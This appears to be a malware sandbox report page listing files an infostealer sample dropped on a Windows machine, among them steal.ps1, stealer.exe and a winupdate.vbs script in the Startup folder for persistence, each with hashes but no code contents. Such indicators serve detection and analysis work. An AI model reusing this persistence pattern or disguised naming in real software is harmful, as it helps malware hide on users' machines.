SHA512 f19dd28d6a1aa9983a06eb7554faa46fec051e07baef16ac32fe36847908e2c18ff3e4a7dfbad8716c40f95ef0d744b25290ced2c0b28e519b093c5795f87067
SSDEEP 192:/TENI/pEEC8/dYJuVypJuV5CEPjIO92ifQz8o:/TENIaEC8VMusruOErIO+
TLSH
T19DF1B7BBF82AEB714B930A6A7CDEAE1E58505A5B5C560425784C008D4F0C7B8E1696CF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

start[1].txt

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\KNB9HLS0\start[1].txt
Size 15B
SHA256 7c040f8633b8823d72ed63da9b3b2dfe9846e912c66a64c9433ec9c4815d76c2
MD5 42c939d0ba4bbdc4c7eab1b5c34aaf71
SHA1 5b0f43ab04980a7808a695be06f2b94beb2423ef
SHA512 6ea7049f426ec3bf96b717e3a7387f2e09d53716b2c1a332ed135fafd46f4365bf2b59f6e5e23b9959e8daff9c2ba2fb3f9cf2d0b174b71019578f36935ae1fe
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 952B
SHA256 b50a4e6af296b1b83a1d225e722d3771d87832cdd026d2c606b55383c7c72d3c
MD5 750ff2b2d3c68becc6284ca6006275b7
SHA1 47e71de14edfa9efcadbd2d23f0cca8423cc0644
SHA512 8467f4885d04737b63ad8a9d3d53134bbfd2db048c97969e49218aa504e7688fd58781039d0aa364a7ea46dfec6b8b442b3eba515a5519c4a64cbd06e498b4a9
TLSH
T145116633F78CC134C899057A1488AE01B2B483CB009EDE8B7A84C114E57F88AEFA42E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 952B
SHA256 6493f46ed23923ded7d6ed4f5bc621aac2fc81ef99f50571d44503d1c195c40e
MD5 caab6c31eb5f535b4f719e630363e69e
SHA1 af04f6558215af14be8bb1cf3b0160d77fc476f4
SHA512 ac7f631e89ab9f130e1e5eba0991391597d53b65df46863adb078984906f058c5bb0d6fc659f96796167d7e283e697594b0577b56bbfa468047c8faa4ff773ac
TLSH
T1E2116B33B78CC0B4C8D5157A1488AD0172B683CB009EDECB3A84C114D97F989EF542A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_1a4kvnka.u13.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1a4kvnka.u13.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

steal.ps1

Path C:\Users\Admin\AppData\Local\Temp\steal.ps1
Size 11KB
SHA256 1603c030a15ad41819e70092105dffe3a5d56de819d2e25d6eced6c6f6981036
MD5 b40f7dd4c5576ed953f3aed9320ea370
SHA1 0ac728536c741172fa0f409115387d978b510362
SHA512 1203c20ff7ecc0abf12cc301ae6e376f8fc8bd9f19b70fae1babef11a74653df11fa187bec3727ccc625326503f8ce4c56fa78f4b71ca83aa33ee7aa808e1619
SSDEEP 192:bSCUv9b7emC4N7vbT7HRQXFilcZ8ALcMxgcViaQWV2yYzjen0eyYzjR37/UuKfG8:W99n0QAo6Aqr7Y
TLSH
T135320A65F1C124686283F3B919D8B048772B600B014C5E58BA9DE7D49F90ABDD6FCACE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stealer.exe

Path C:\Users\Admin\AppData\Local\Temp\stealer.exe
Size 36B
SHA256 c3fa59901d56ce8a95a303b22fd119cb94abf4f43c4f6d60a81fd78b7d00fa65
MD5 a1ca4bebcd03fafbe2b06a46a694e29a
SHA1 ffc88125007c23ff6711147a12f9bba9c3d197ed
SHA512 6fe1730bf2a6bba058c5e1ef309a69079a6acca45c0dbca4e7d79c877257ac08e460af741459d1e335197cf4de209f2a2997816f2a2a3868b2c8d086ef789b0e
MD5 SHA1 SHA512

Submit Download

winupdate.vbs

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winupdate.vbs
Size 200B
SHA256 1d39133bc3c4365c0f93c9e628d750af84138b39ebf956662d17638ca0ca2d75
MD5 9475af6db21454397e282fb6fb21e7b2
SHA1 fe652d31330bce9cf4095fed903dcc13f9312574
SHA512 a1ce14914fd3e372e6e252b8831f802f21953b03cba429466609c4e5ad88c3165021bb63b9757ab65bf23632f0aa76737f2d614d817e8220d44e581eb7e05573
TLSH
T188D012E21D4DC499BA92C38BCFCCB702C5801CD71DB49178F2A10008506243C11CB801
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4960-292-0x000002B9B5750000-0x000002B9B5772000-memory.dmp

Download